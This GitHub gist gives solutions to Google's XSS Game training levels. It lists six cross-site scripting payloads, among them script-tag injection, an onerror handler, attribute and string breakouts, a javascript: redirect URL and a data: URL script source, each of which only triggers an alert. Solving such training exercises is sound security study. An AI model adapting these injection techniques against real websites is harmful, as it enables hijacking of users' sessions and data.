Skip to content

Instantly share code, notes, and snippets.

@nirlanka
Last active November 28, 2017 15:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save nirlanka/e467cf0905aa9ff85107a31f60d12311 to your computer and use it in GitHub Desktop.
Save nirlanka/e467cf0905aa9ff85107a31f60d12311 to your computer and use it in GitHub Desktop.
Solutions to XSS Games by Google (xss-games.appspot.com)

Level 1: Hello, world of XSS

query=<script>alert(9)</script>

Level 2: Persistence is key

post-content=<img src='foobar' onerror='alert(9)'>

Level 3: That sinking feeling...

URL=https://xss-game.appspot.com/level3/frame#1' onerror='alert(9)'>

Level 4: Context matters

timer=');alert('9');('

Level 5: Breaking protocol

URL=https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(9);

Level 6: Follow the X

URL=https://xss-game.appspot.com/level6/frame#data:text/plain,alert(9)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment